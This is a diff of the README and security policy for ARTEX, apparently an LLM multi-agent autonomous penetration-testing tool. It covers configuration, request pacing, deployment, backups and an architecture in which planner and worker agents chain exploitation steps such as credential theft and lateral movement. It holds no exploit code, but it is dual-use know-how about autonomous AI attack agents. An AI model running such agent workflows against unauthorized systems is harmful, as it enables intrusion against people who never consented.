`ARTEX_LLM_PROVIDER` (`anthropic | openai | openai-responses | ollama`), `ARTEX_LLM_MODEL`,
|
||||
`ARTEX_LLM_BASE_URL`, `ARTEX_LLM_PROXY`.
|
||||
|
||||
**Base URL**: for the Anthropic format, enter the host **without** a `/v1` suffix (e.g. `https://api.anthropic.com`) — the provider appends `/v1/messages` itself, so a base ending in `/v1` becomes `https://api.anthropic.com/v1/v1/messages`. OpenAI-format providers append `/chat/completions` (or `/responses` for the `openai-responses` format), so their base **does** end in `/v1` (e.g. `https://api.openai.com/v1`).
|
||||
**Base URL gotcha**: for the Anthropic format, enter the host **without** `/v1` (for example
|
||||
`https://api.anthropic.com`); ARTEX appends `/v1/messages`. OpenAI-format providers append
|
||||
`/chat/completions` (or `/responses` for `openai-responses`), so their base **does** end in `/v1`
|
||||
(for example `https://api.openai.com/v1`).
|
||||
|
||||
**Concurrency**: the number of work agents per task is configured in "System Settings" (default 3).
|
||||
**Concurrency**: work agents per task, in "System Settings" (default 3).
|
||||
|
||||
**Untrusted-output boundary (on by default)**: tool results for the worker, planner, chat and main agent are framed between nonce-tagged markers so the model treats them as data, not instructions. Unset or empty, the boundary is on; set `ARTEX_UNTRUSTED_BOUNDARY=0` (or `false` / `off` / `no`) to disable it. Measured cost: about 154 bytes per tool result plus one system note.
|
||||
**Untrusted-output boundary (on by default)**: tool results for the worker, planner, chat and main
|
||||
agent are framed between nonce-tagged markers so the model treats them as data, not instructions.
|
||||
Unset or empty, the boundary is on; set `ARTEX_UNTRUSTED_BOUNDARY=0` (or `false` / `off` / `no`) to
|
||||
disable it. Cost: about 154 bytes per tool result plus one system note.
|
||||
|
||||
**Noise profile (off by default)**: `ARTEX_NOISE_PROFILE` paces the requests ARTEX itself sends to targets (WebFetch, http custom tools, the enrich probe). Unset or `off`, nothing changes: no limit, no cache. Set `quiet` (2 req/s per host, burst 4, 1 in flight), `balanced` (5 req/s, burst 10, 2 in flight) or `aggressive` (20 req/s, burst 40, 4 in flight), e.g. `ARTEX_NOISE_PROFILE=balanced` in `.env` or the environment. A profile also adds a small jitter, backs off on 429/503 (honouring `Retry-After`, bounded retries, GET/HEAD/OPTIONS only), and, for the http custom tools and the enrich probe, merges identical in-flight GETs of one task (per tool) and caches them briefly (60/30/10 s; never POST, PUT, PATCH or DELETE; WebFetch is paced only), and logs a per-host noise line each minute. `ARTEX_TARGET_USER_AGENT` sets a User-Agent on target requests that carry none, under a profile; empty keeps the current one. Tools launched through Bash are not paced yet.
|
||||
**Noise profile (off by default)**: `ARTEX_NOISE_PROFILE` paces the requests ARTEX sends to targets
|
||||
(WebFetch, HTTP custom tools, the enrich probe). Unset or `off` keeps today's behaviour: no limit,
|
||||
no cache. `quiet` = 2 req/s per host (burst 4, 1 in flight), `balanced` = 5 req/s (burst 10, 2 in
|
||||
flight), `aggressive` = 20 req/s (burst 40, 4 in flight). A profile adds jitter, backs off on
|
||||
429/503 (honours `Retry-After`, bounded retries, GET/HEAD/OPTIONS only), deduplicates identical
|
||||
in-flight GETs and caches them briefly (60/30/10 s; never POST/PUT/PATCH/DELETE), and logs a
|
||||
per-host noise line each minute. `ARTEX_TARGET_USER_AGENT` sets a User-Agent on target requests
|
||||
that carry none. Bash-launched tools are not paced yet; the low-and-slow prompt block supplies
|
||||
their rate flags.
|
||||
|
||||
**Low-and-slow agent guidance (off by default)**: when a noise profile is set, the planner, worker, main agent and chat agents receive a code-owned prompt block with the profile's per-host limits and exact rate/delay flags for the scanners installed in the image (`nmap`, `nuclei`, `httpx`, `katana`, `ffuf`, `dalfox`, `sqlmap`). It tells them to test one host at a time, to back off on 429/503 and never to raise the rate to meet a deadline. Unset or `off`, the block is empty and every prompt is unchanged. Commands launched through Bash are not paced by the governor, so these flags are the brake for scanners.
|
||||
**Low-and-slow agent guidance (off by default)**: when a noise profile is set, the planner, worker,
|
||||
main agent and chat agents receive a code-owned prompt block with the profile's per-host limits and
|
||||
exact rate/delay flags for the installed scanners. It tells them to test one host at a time, back
|
||||
off on 429/503 and never raise the rate to meet a deadline.
|
||||
|
||||
**Run budgets (off by default)**: `ARTEX_TASK_BUDGET_TOKENS` and `ARTEX_TASK_BUDGET_TURNS` cap a task's total spend (its planner rounds and all its workers); `ARTEX_INTENT_BUDGET_TOKENS` and `ARTEX_INTENT_BUDGET_TURNS` cap one worker run. Unset or `0` means unlimited, and nothing changes. A worker is not started when the remaining task budget cannot cover its estimated cost (the average of the task's finished workers, else 50000 tokens and 10 turns). When the remaining budget reaches the wrap-up reserve (the larger of 5% and 20000 tokens, and 2 turns), the task enters a forced wrap-up: the planner writes a summary and the final goal judgment, and workers may only write back (`record_fact`, `insert_assets`, `report_finding`, `update_finding_report`). The task then ends `done` if its goals are met, otherwise `timeout`. Budgets are kept in memory: a restart, or a revive of a finished task, starts a fresh budget. Each planner round logs a `[budget]` line. Practical floor: below 50000 tokens a task gets no worker; from 50000 to about 70000 it typically gets one worker and then the wrap-up. Pick a budget well above 70000 tokens for real exploration.
|
||||
**Run budgets (off by default)**: `ARTEX_TASK_BUDGET_TOKENS` / `ARTEX_TASK_BUDGET_TURNS` cap a
|
||||
task's total spend (planner rounds and workers); `ARTEX_INTENT_BUDGET_TOKENS` /
|
||||
`ARTEX_INTENT_BUDGET_TURNS` cap one worker run. Unset or `0` means unlimited. A worker is not
|
||||
started when the remaining task budget cannot cover its estimated cost (the average of finished
|
||||
workers, else 50,000 tokens and 10 turns). Near the wrap-up reserve (the larger of 5% and 20,000
|
||||
tokens, and 2 turns) the task enters a forced wrap-up: the planner writes a summary and final goal
|
||||
judgment, and workers may only write back. The task then ends `done` if its goals are met, else
|
||||
`timeout`. Practical floor: below 50,000 tokens no worker starts; 50,000-70,000 typically gives one
|
||||
worker then wrap-up; pick well above 70,000 for real exploration.
|
||||
|
||||
**Common flags**: `./start.sh -addr :8787 -proxy :8788` (`-addr` frontend+API, `-proxy` traffic recording proxy). The startup script passes arguments through to `artex` verbatim.
|
||||
**Common flags**: `./start.sh -addr :8787 -proxy :8788` (`-addr` frontend/API, `-proxy` traffic
|
||||
recording proxy).
|
||||
|
||||
### Reverse proxy deployment (HTTPS / only exposing 443)
|
||||
### Reverse proxy deployment (HTTPS / exposing only 443)
|
||||
|
||||
The frontend and API/SSE are served by the same backend port (8787; the binary listens on `127.0.0.1:8787` by default, the Docker container on `:8787` published on `127.0.0.1`), and the realtime activity stream uses the **same-origin** address by default, so **there is no need to configure `NEXT_PUBLIC_SSE_BASE`**: just expose 443 publicly and keep 8787 on the internal network.
|
||||
The frontend, API and SSE stream share port 8787 (the binary listens on `127.0.0.1:8787` by
|
||||
default; the Docker container publishes on `127.0.0.1`), and the activity stream is same-origin by
|
||||
default, so **no `NEXT_PUBLIC_SSE_BASE` is needed**: expose 443 and keep 8787 internal.
|
||||
|
||||
SSE is a long-lived connection with continuous pushes, so the reverse proxy **must disable buffering**, otherwise the browser connects but never receives events (the activity stream spins forever). Nginx example:
|
||||
SSE keeps a long-lived connection with continuous pushes, so the proxy **must disable buffering**;
|
||||
otherwise the browser connects but never receives events. Nginx example:
|
||||
|
||||
```nginx
|
||||
server {
|
||||
@@ -326,33 +457,138 @@ server {
|
||||
}
|
||||
```
|
||||
|
||||
**Login rate limit behind a proxy**: login allows 10 attempts per minute per client IP. Behind a proxy every request comes from the proxy's address, so without further setup all users share one budget and an attacker who fails 10 logins blocks everyone, admin included, for up to 15 minutes. To avoid that, keep the `X-Forwarded-For` line above and set `ARTEX_TRUSTED_PROXIES` (comma-separated CIDRs, empty by default) to the address ARTEX sees the proxy connect from:
|
||||
**Login rate limit behind a proxy**: login allows 10 attempts per minute per client IP. Behind a
|
||||
proxy every request comes from the proxy's address, so without further setup all users share one
|
||||
budget and an attacker who fails 10 logins blocks everyone, admin included, for up to 15 minutes.
|
||||
Keep the `X-Forwarded-For` line and set `ARTEX_TRUSTED_PROXIES` (comma-separated CIDRs, empty by
|
||||
default) to the address ARTEX sees the proxy connect from:
|
||||
|
||||
- **nginx and ARTEX both on the host** (binary, `./start.sh`): the peer is `127.0.0.1`. Start ARTEX with `ARTEX_TRUSTED_PROXIES=127.0.0.1/32`.
|
||||
- **nginx on the host, ARTEX in Docker** (`docker-compose.yml`): the connection reaches the container from the Docker bridge gateway (a `172.x` address), not from `127.0.0.1`. Find it with `docker network inspect artex_default --format '{{(index .IPAM.Config 0).Gateway}}'` (the network is `<project directory>_default`; `docker network ls` lists it), put `ARTEX_TRUSTED_PROXIES=<gateway>/32` in `.env`, and run `docker compose up -d`.
|
||||
- **nginx and ARTEX both on the host** (binary, `./start.sh`): the peer is `127.0.0.1`; start ARTEX
|
||||
with `ARTEX_TRUSTED_PROXIES=127.0.0.1/32`.
|
||||
- **nginx on the host, ARTEX in Docker** (`docker-compose.yml`): the connection reaches the
|
||||
container from the Docker bridge gateway (a `172.x` address), not from `127.0.0.1`. Find it with
|
||||
`docker network inspect artex_default --format '{{(index .IPAM.Config 0).Gateway}}'` (the network
|
||||
is `<project directory>_default`), put `ARTEX_TRUSTED_PROXIES=<gateway>/32` in `.env`, then
|
||||
`docker compose up -d`.
|
||||
|
||||
For a peer in that list, ARTEX reads `X-Forwarded-For` from the right and takes the first address that is not a trusted proxy; from any other peer the header is ignored. Trust only addresses of proxies you run: a trusted peer can claim any client address.
|
||||
For a peer in that list, ARTEX reads `X-Forwarded-For` from the right and takes the first address
|
||||
that is not a trusted proxy; from any other peer the header is ignored. Trust only proxies you run:
|
||||
a trusted peer can claim any client address.
|
||||
|
||||
> Only when SSE needs a different origin from the page (e.g. a dedicated subdomain) should you set `NEXT_PUBLIC_SSE_BASE` **at build time** (this variable is baked into the static bundle during `next build`; setting it at container runtime has no effect).
|
||||
> Only when SSE needs a different origin from the page (e.g. a dedicated subdomain) should you set
|
||||
> `NEXT_PUBLIC_SSE_BASE` **at build time** (it is baked into the static bundle during `next build`;
|
||||
> setting it at container runtime has no effect).
|
||||
|
||||
---
|
||||
|
||||
## Operations
|
||||
|
||||
### Backups
|
||||
|
||||
`scripts/backup.sh` dumps the Postgres database (and optionally the data directory) with
|
||||
timestamped output and rotation:
|
||||
|
||||
```bash
|
||||
scripts/backup.sh --with-data # db dump + data/ archive, keep 14
|
||||
scripts/backup.sh --keep 7 # db only, keep 7
|
||||
```
|
||||
|
||||
Restore into a running stack:
|
||||
|
||||
```bash
|
||||
gunzip -c backups/artex-db-<timestamp>.sql.gz | docker compose exec -T postgres \
|
||||
psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
|
||||
```
|
||||
|
||||
Stored secrets (LLM API keys and proxies, MCP env, task credentials, notification channel config,
|
||||
Brave/Tavily search keys, web search and global proxies, the execution spec of custom tools) are
|
||||
encrypted in the database with the key in `keys/secret.key` (generated at first start, mode 0600,
|
||||
next to `jwt.key`). **A database backup without that key cannot restore those secrets**: back up
|
||||
`keys/` with the dump, separately. Deployments without a persistent disk set
|
||||
`ARTEX_SECRET_KEY` (32 bytes, base64 or hex, e.g. `openssl rand -base64 32`). ARTEX refuses to start
|
||||
when the database holds encrypted secrets and no key is available.
|
||||
|
||||
Daily cron example (03:20, operator crontab):
|
||||
|
||||
```
|
||||
20 3 * * * cd /path/to/ARTEX && scripts/backup.sh --with-data >> backups/backup.log 2>&1
|
||||
```
|
||||
|
||||
### Updating and upgrading
|
||||
|
||||
> Upgrading swaps the program and never touches data: the Postgres volume `pgdata`, `./data`
|
||||
> (traffic index, task files, transcripts), `./keys` (`jwt.key`, `secret.key`) and `./skills` are
|
||||
> preserved. **No manual database step is needed**: on every start ARTEX applies its embedded
|
||||
> `schema.sql` baseline, then any pending numbered migration from `db/migrations/`, in order, each
|
||||
> in its own transaction. Restarting the new binary is the upgrade. Back up `./data`, `keys/` and
|
||||
> the database before upgrading.
|
||||
|
||||
**Update banner (opt-in, off by default)**: start ARTEX with `ARTEX_UPDATE_CHECK=1` to ask the
|
||||
public GitHub releases API for the latest tag, at most once per 24 hours (cached in memory; a
|
||||
failed check is not retried within that window). When the release is newer, the web UI shows a
|
||||
dismissible strip linking to Releases. The request sends only `User-Agent: artex-update-check`.
|
||||
Unset, ARTEX makes no update request and shows no banner.
|
||||
|
||||
#### Upgrading from a clone made before 2026-10-23
|
||||
|
||||
The repository history was rewritten that day to drop a personal email address from the commit
|
||||
metadata. A clone made before then cannot fast-forward, and `./update.sh` now stops instead of
|
||||
silently rebuilding stale code. Recover once, then upgrade normally:
|
||||
|
||||
```bash
|
||||
git stash # only if you have local changes
|
||||
git fetch origin
|
||||
git reset --hard origin/main
|
||||
git stash pop # only if you stashed
|
||||
```
|
||||
|
||||
Your data is unaffected: `./data`, the `pgdata` volume and `./skills` are not part of git history.
|
||||
|
||||
#### Option 1: one-click update script
|
||||
|
||||
```bash
|
||||
cd ARTEX
|
||||
./update.sh
|
||||
```
|
||||
|
||||
The script optionally `git pull`s, then offers **① Docker update** (`docker compose build artex` →
|
||||
`docker compose up -d artex`) or **② local build update** (rebuild the frontend static assets, then
|
||||
recompile `./artex`; restart the process for it to take effect).
|
||||
|
||||
#### Option 2: Docker Compose (manual)
|
||||
|
||||
```bash
|
||||
cd ARTEX
|
||||
git pull
|
||||
docker compose build artex
|
||||
docker compose up -d artex
|
||||
docker image prune -f # optional
|
||||
```
|
||||
|
||||
#### Option 3: prebuilt binaries
|
||||
|
||||
Download the new zip, stop the old process, overwrite `artex` and `skills/` (keep `config.json` and
|
||||
`data/`), then restart:
|
||||
|
||||
```bash
|
||||
cp -r <extracted dir>/skills ./ && cp <extracted dir>/artex ./
|
||||
./start.sh
|
||||
```
|
||||
|
||||
#### Option 4: build from source
|
||||
|
||||
```bash
|
||||
git pull
|
||||
cd web && npm ci && npm run build:static && cd ..
|
||||
cp -r web/out server/webui/dist
|
||||
CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
|
||||
# restart ./start.sh
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Development
|
||||
|
||||
### Manual vulnerability retesting
|
||||
|
||||
The "Retest" tab on the task details page lets you page through the task's vulnerabilities, review past conclusions and evidence, and manually start a retest. After starting, the current tab keeps its place and shows a spinner with "Retesting"; once the fix is confirmed, the vulnerability status is updated accordingly.
|
||||
|
||||
Click "Retest" in the actions area of any row in the vulnerability list, or click "Start Retest" in the "Vulnerability Retest" area of the vulnerability details; fill in the optional fixed version, test conditions, or limits, and the system creates an independent retest agent session while keeping the current page. The flat list, group-by-task, and asset views all support this entry point; while a retest is running, a spinner and "Retesting" are shown: click to enter the corresponding session to watch, and it reverts to "Retest" when finished. Retesting does not require restarting the original scan task; conclusions are "Still reproducible", "Fixed", or "Cannot confirm", and each conclusion, evidence, and session link is saved in the vulnerability details.
|
||||
|
||||
On first start, the new backend pre-creates an editable "Vulnerability Retest" (`retester`) agent; you can configure its prompt, LLM, run budget, and tools in Agent management. It uses its bound LLM by default, or the global active configuration when unbound. When a retest session completes successfully with a "Fixed" conclusion, the system automatically sets the vulnerability's handling status to "Fixed"; running, failed, stopped, or other conclusions keep the original status. Original evidence and reports are always preserved. You can also manually select "Fixed" from the status dropdown. While the same vulnerability is being retested, the existing session is reused; after a stop, failure, or service restart, you can start it again.
|
||||
|
||||
In this version, history is viewed via vulnerability details and sessions; it is not yet included in vulnerability report exports or task archive packages, and is not automatically linked to traffic captures. Demo mode only generates clearly labeled simulated records and never requests real targets.
|
||||
|
||||
### Running and testing locally
|
||||
|
||||
```bash
|
||||
./dev.sh # backend(:8787) + traffic proxy(:8788) + frontend next dev(:5173) → http://localhost:5173
|
||||
```
|
||||
@@ -364,11 +600,14 @@ In this version, history is viewed via vulnerability details and sessions; it is
|
||||
|
||||
---
|
||||
|
||||
## System architecture
|
||||
## Architecture
|
||||
|
||||
ARTEX is an **LLM multi-agent-driven autonomous penetration testing system**: a Go monolithic backend (with embedded Next.js frontend) + PostgreSQL; agent capabilities are provided by the [`norma`](https://github.com/Autumn-27/norma) SDK (`agentcore` / `tool` / `permission` / `harness` / `memory` / `transcript`). At its core is a **dual-graph architecture**, plus two autonomy mechanisms built around it: **process-level information exchange between workers** and the **planner's multi-round shared todolist that stabilizes attack chains**.
|
||||
|
||||
### Overall layering
|
||||
ARTEX is an **LLM multi-agent-driven autonomous penetration testing system**: a Go monolithic
|
||||
backend (with the Next.js UI embedded) + PostgreSQL. Agent capabilities come from the
|
||||
[`norma`](https://github.com/Autumn-27/norma) SDK (`agentcore` / `tool` / `permission` / `harness` /
|
||||
`memory` / `transcript`). At its core is the **dual-graph architecture**, plus two autonomy
|
||||
mechanisms: **process-level information exchange between workers** and the **planner's multi-round
|
||||
shared todolist**.
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
@@ -417,158 +656,89 @@ flowchart TB
|
||||
|
||||
| Layer | Responsibility |
|
||||
| --- | --- |
|
||||
| **Frontend** | Next.js static export, embedded into the single binary via `go:embed`; visualizes tasks/assets/exploration graph/coverage graph, human-in-the-loop chat |
|
||||
| **server** | `net/http` routing + JWT auth + SSE; `Manager` owns the lifecycle of tasks, engines, and DB stores |
|
||||
| **Frontend** | Next.js static export embedded via `go:embed`; tasks, assets, exploration and coverage graphs, traffic, human-in-the-loop chat |
|
||||
| **server** | `net/http` routing, JWT auth, SSE; `Manager` owns tasks, engines and DB stores |
|
||||
| **engine** | One `plannerLoop` + N worker goroutines per task; intent claiming, timeout/pause/drain |
|
||||
| **agent** | goals / planner / worker / mainagent; `ToolSet` exposes the dual graphs as LLM tools |
|
||||
| **db** | Postgres persistence of the dual graphs (pgx); the schema is embedded via `go:embed` and idempotently applied on every start |
|
||||
| **db** | PostgreSQL persistence (pgx); embedded schema and numbered migrations applied at startup |
|
||||
| **Supporting** | Recording MITM proxy, approval gate, async enrichment, MCP/skills/memory/report |
|
||||
|
||||
### Dual-graph architecture: exploration graph + asset graph
|
||||
|
||||
The system splits "**what the goals are**" and "**how far testing has progressed**" into two mutually independent graphs linked by anchors:
|
||||
|
||||
- **Asset Graph (globally shared)**: a single source of truth for assets shared across tasks. Nodes are `root_domain / subdomain / ip / service / app / endpoint`, owned by companies; the parent-child relationships domain→subdomain→service→endpoint and the dedup keys are all computed by the program: agents only submit raw information.
|
||||
- **Exploration Graph (per-task)**: the "thinking and advancing" process of one task. Nodes are `goal` / `intent` / `fact` / `finding (vulnerability)` / `hint`, connected by edges like `spawns / derived_from / yields / proves` into a **lineage chain**, answering "which directions derive from which facts, and what they produced".
|
||||
- **The two graphs are linked by anchors**: `exploration_anchors(node_id, asset_id)` anchors intents/facts/vulnerabilities to concrete assets: so you can see which assets an exploration direction hits, and conversely look up from a given asset which intents tested it in this task and which facts were derived. This also powers **asset test coverage** and the **asset coverage graph** (in-scope assets + tested highlights).
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph EG["Exploration graph (per-task · advance chain)"]
|
||||
direction TB
|
||||
G["goal"]
|
||||
I1["intent A"]
|
||||
F1["fact"]
|
||||
I2["intent B"]
|
||||
FD["finding (vulnerability)"]
|
||||
G -->|spawns| I1
|
||||
I1 -->|yields| F1
|
||||
F1 -->|derived_from| I2
|
||||
I2 -->|proves| FD
|
||||
end
|
||||
subgraph AG["Asset graph (globally shared · source of truth)"]
|
||||
direction TB
|
||||
RD["root_domain"]
|
||||
SD["subdomain"]
|
||||
SV["service"]
|
||||
EP["endpoint"]
|
||||
RD --> SD --> SV --> EP
|
||||
end
|
||||
I1 -. anchor .-> SD
|
||||
F1 -. anchor .-> SV
|
||||
I2 -. anchor .-> EP
|
||||
FD -. anchor .-> EP
|
||||
```
|
||||
|
||||
> Division of labor: the **planner** reads the exploration graph's situation, judges goals, and dispatches **intents** into the frontier only when there are uncovered new directions; a **worker** claims **one intent**, executes with real tools, writes new assets/facts/vulnerabilities back into both graphs, then stops. The asset graph is shared facts; the exploration graph is the per-task advance chain.
|
||||
|
||||
### Engine and intent lifecycle (the closed loop of one exploration)
|
||||
|
||||
The engine is an **event-driven** closed loop: any graph change wakes the planner, the planner dispatches intents, workers claim and execute intents and write back, and the write-back triggers the next round, until the goal is proven (`prove_goal`).
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
autonumber
|
||||
participant EV as graph-change debounce
|
||||
participant P as planner
|
||||
participant FR as frontier intent queue
|
||||
participant W as worker
|
||||
participant PX as recording proxy
|
||||
participant DB as dual graphs + activity
|
||||
|
||||
EV-->>P: wake up
|
||||
P->>DB: read situation (graph_overview prefetch + coverage/scope)
|
||||
P->>FR: dispatch 0..N intents (with asset_ids)
|
||||
Note over P,FR: most wake-ups dispatch 0 (no new direction means done)
|
||||
W->>FR: claimNext claims one intent
|
||||
W->>DB: fetch the raw assets of the intent's asset_ids as initial information
|
||||
W->>PX: real tool execution (Kali / Bash / HTTP)
|
||||
PX-->>W: response (fully traced + CA verified)
|
||||
W->>DB: write back fact / asset / finding + per-step activity
|
||||
DB-->>EV: graph change
|
||||
EV-->>P: wake again (closed loop)
|
||||
```
|
||||
|
||||
### Process-level information exchange between workers
|
||||
|
||||
During a deep exploration, many valuable observations (an error, a response snippet, a hidden parameter) appear in a worker's **execution process** but may never be written as formal facts. To avoid duplicate work and let workers on the chain stand on each other's shoulders, workers can **search processes across works**:
|
||||
|
||||
- `search_all_worker_traces(q)`: keyword-search the **execution processes of other works in this task** (automatically excluding the steps of your own intent); hits carry `intent_id`;
|
||||
- `list_worker_traces` / `get_worker_trace(intent_id, step_ids=[…])`: first see which works have run, then fetch the full content of specific steps of a given work for detailed exchange.
|
||||
|
||||
This way, even before a corresponding fact exists on the exploration graph, later workers can reuse observations from others' processes: **information flows between workers at "execution process" granularity**, while the boundary stays the same (each worker still only works on the intent it claimed).
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
WA["worker A (intent #12)"] -->|"per-step activity"| ACT[("exploration graph · activity process store")]
|
||||
WB["worker B (intent #34)"] -->|"per-step activity"| ACT
|
||||
WC["worker C (intent #56)"] ==>|"1) search_all_worker_traces(q)"| ACT
|
||||
ACT ==>|"2) hits on A/B steps (self excluded)"| WC
|
||||
WC ==>|"3) get_worker_trace(id, step_ids)"| ACT
|
||||
ACT ==>|"4) returns full process content"| WC
|
||||
```
|
||||
|
||||
### The planner's multi-round shared todolist → stable attack chains
|
||||
|
||||
Real attack chains are usually **multi-step sequences with dependencies** (e.g.: find an injection point → obtain credentials → move laterally → escalate privileges); dispatching them all in parallel at once would only cause chaos. The planner therefore keeps a **planning todolist that is retained per task and shared across wake-ups**:
|
||||
|
||||
- The planner is event-driven, woken on every graph change, but **each wake-up is a brand-new session**; the shared todolist lets it **record a serial exploitation chain once**, then **dispatch intents step by step by dependency** over subsequent rounds, instead of pre-expanding the whole chain in a single round;
|
||||
- Each round only dispatches intents for next steps whose "prerequisite steps are complete and the facts they depend on exist", and updates the list as progress happens (marking steps satisfied by facts as done).
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
subgraph TODO["Shared todolist (retained per task · persists across wake-ups)"]
|
||||
direction LR
|
||||
T1["1 injection point [done]"]
|
||||
T2["2 get credentials [in progress]"]
|
||||
T3["3 lateral movement [pending prerequisite]"]
|
||||
T4["4 privilege escalation [pending prerequisite]"]
|
||||
T1 -.prerequisite met.-> T2 -.-> T3 -.-> T4
|
||||
end
|
||||
R1["round 1 wake-up dispatch intent ①"] --> T1
|
||||
R2["round 2 (① produced a fact) dispatch intent ②"] --> T2
|
||||
R3["round 3 (② produced a fact) dispatch intent ③"] --> T3
|
||||
```
|
||||
|
||||
Thus, even in an "event-driven + stateless session" environment, the attack chain still **advances steadily, without repetition or reordering**: this is the key to ARTEX autonomously completing multi-step exploitation chains.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
## Security
|
||||
|
||||
https://github.com/oritera/Cairn
|
||||
Please report vulnerabilities privately through GitHub Security Advisories; see
|
||||
[SECURITY.md](SECURITY.md).
|
||||
|
||||
Operational security properties:
|
||||
|
||||
- **Secrets at rest**: LLM keys/proxies, MCP environment, task credentials, notification config,
|
||||
search keys, proxies, custom-tool execution specs and traffic evidence snapshots are encrypted
|
||||
with AES-256-GCM using `keys/secret.key` (or `ARTEX_SECRET_KEY`). ARTEX refuses to start when
|
||||
encrypted data exists and no usable key is available.
|
||||
- **First-run claim**: `/setup` requires a one-time token printed at startup; the UI binds to
|
||||
`127.0.0.1` by default.
|
||||
- **Login protection**: 10 attempts per minute per client IP, with `ARTEX_TRUSTED_PROXIES` for
|
||||
correct client attribution behind a reverse proxy.
|
||||
- **Untrusted tool output**: framed as data for every agent by default (prompt-injection boundary).
|
||||
- **Release integrity**: SHA-256 sums, CycloneDX SBOM and GitHub build provenance attestations for
|
||||
release archives.
|
||||
|
||||
---
|
||||
|
||||
## References and prior art
|
||||
|
||||
- [Cairn](https://github.com/oritera/Cairn)
|
||||
- Approval-details UI inspired by [AegisHook](https://github.com/RuoJi6/AegisHook)
|
||||
|
||||
---
|
||||
|
||||
## License and disclaimer
|
||||
|
||||
### Open source license
|
||||
|
||||
This project is licensed under the **GNU Affero General Public License v3.0 (AGPL-3.0)**; see the [LICENSE](LICENSE) file in the repository root for the full terms.
|
||||
This project is licensed under the **GNU Affero General Public License v3.0 (AGPL-3.0)**; see the
|
||||
[LICENSE](LICENSE) file for the full terms.
|
||||
|
||||
This means anyone may freely use, modify, and distribute this project, but **derivative works must also be open-sourced under AGPL-3.0**; in particular, **if you modify this project and provide it to users over a network (e.g. deployed as an online service), you must also make the corresponding complete source code available to those users**.
|
||||
Anyone may use, modify and distribute this project, but **derivative works must also be open-sourced
|
||||
under AGPL-3.0**; in particular, **if you modify this project and provide it to users over a
|
||||
network (for example as an online service), you must make the corresponding complete source code
|
||||
available to those users**.
|
||||
|
||||
> ⚠️ **Important**: the open source license itself does not restrict how the software is used. The "Usage restrictions" and "Disclaimer" below are additional terms and a solemn statement from the maintainers to users, so please abide by them.
|
||||
> **Important**: the open source license does not restrict how the software is used. The usage
|
||||
> restrictions and disclaimer below are additional terms from the maintainers.
|
||||
|
||||
**ARTEX is an offensive-security tool. Use it only against systems you own, or that you are explicitly authorized to test (your own lab, your organization's assets, or a bug bounty / vulnerability disclosure program's targets within its published scope and rules of engagement). Any use without authorization is a violation of these terms.**
|
||||
**ARTEX is an offensive-security tool. Use it only against systems you own, or that you are
|
||||
explicitly authorized to test (your own lab, your organization's assets, or a bug bounty /
|
||||
vulnerability disclosure program's targets within its published scope and rules of engagement).
|
||||
Any use without authorization violates these terms.**
|
||||
|
||||
### Permitted use
|
||||
|
||||
- **Read, learn, and study this project's source code**;
|
||||
- Run it against **systems you own** or in **isolated lab environments**;
|
||||
- Run it against **authorized bug bounty / vulnerability disclosure program targets**, within their published scope and rules of engagement;
|
||||
- Read, learn and study this project's source code;
|
||||
- Run it against systems you own or in isolated lab environments;
|
||||
- Run it against authorized bug bounty / vulnerability disclosure targets, within their published
|
||||
scope and rules of engagement;
|
||||
- Academic research and code review.
|
||||
|
||||
### Prohibited actions
|
||||
|
||||
- **It is strictly forbidden to scan, probe, exploit, or attack any website, online service, or networked system without the explicit authorization of its owner**;
|
||||
- It is strictly forbidden to test outside a program's published scope, or in violation of its rules of engagement;
|
||||
- It is strictly forbidden to use this tool for illegal intrusion, data theft, extortion, denial of service, or any destructive or criminal activity;
|
||||
- It is strictly forbidden to use this tool for anything that violates the laws and regulations of your country/region.
|
||||
- Scanning, probing, exploiting or attacking any website, online service or networked system
|
||||
without the explicit authorization of its owner;
|
||||
- Testing outside a program's published scope, or in violation of its rules of engagement;
|
||||
- Illegal intrusion, data theft, extortion, denial of service, or any destructive or criminal
|
||||
activity;
|
||||
- Any use that violates the laws and regulations of your country or region.
|
||||
|
||||
### Compliance responsibility
|
||||
|
||||
Users must comply with all laws and regulations of their country/region regarding cybersecurity, data protection, and computer crime. **All legal liability and consequences arising from the use of this tool are borne by the user.**
|
||||
Users must comply with all laws and regulations of their country or region regarding cybersecurity,
|
||||
data protection and computer crime. **All legal liability and consequences arising from the use of
|
||||
this tool are borne by the user.**
|
||||
|
||||
### Disclaimer
|
||||
|
||||
This project is provided "as is", without any express or implied warranty. The authors and contributors are not liable for any direct or indirect loss, data loss, system damage, or legal disputes caused by the use of this tool (whether used properly or not). **Downloading, installing, or using this project means you have read, understood, and agreed to all of the above terms.**
|
||||
This project is provided "as is", without any express or implied warranty. The authors and
|
||||
contributors are not liable for any direct or indirect loss, data loss, system damage or legal
|
||||
dispute caused by the use of this tool (whether used properly or not). **Downloading, installing or
|
||||
using this project means you have read, understood and agreed to all of the above terms.**
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
# Security Policy
|
||||
|
||||
## Supported Versions
|
||||
|
||||
ARTEX is an autonomous penetration-testing tool. Security fixes are provided only for the latest official release line. The `main` branch is not considered a stable release and may change at any time.
|
||||
|
||||
Only the latest release line receives security fixes. Older releases do not receive fixes; please upgrade to the latest release.
|
||||
|
||||
Notes:
|
||||
- Please upgrade to the latest release before reporting a vulnerability.
|
||||
- Forks, custom builds from arbitrary commits, and modified versions are not covered by official support.
|
||||
|
||||
## Reporting a Vulnerability
|
||||
|
||||
**Do not open a public issue for a security vulnerability.**
|
||||
|
||||
Report through **GitHub Security Advisories**: **Security** tab → **Report a vulnerability** in the `BaaRai/ARTEX` repository. This is the only reporting channel.
|
||||
|
||||
Please include:
|
||||
- A description of the vulnerability and its expected impact.
|
||||
- The ARTEX version and/or commit hash.
|
||||
- Runtime environment (OS, Docker/local, PostgreSQL, LLM provider, etc.).
|
||||
- Minimal reproduction steps (PoC).
|
||||
- Logs, screenshots, or sample traffic with **sensitive data removed**.
|
||||
- Suggested remediation, if available.
|
||||
|
||||
**Do not send** real third-party data, credentials, tokens, customer data, or unredacted sensitive content.
|
||||
|
||||
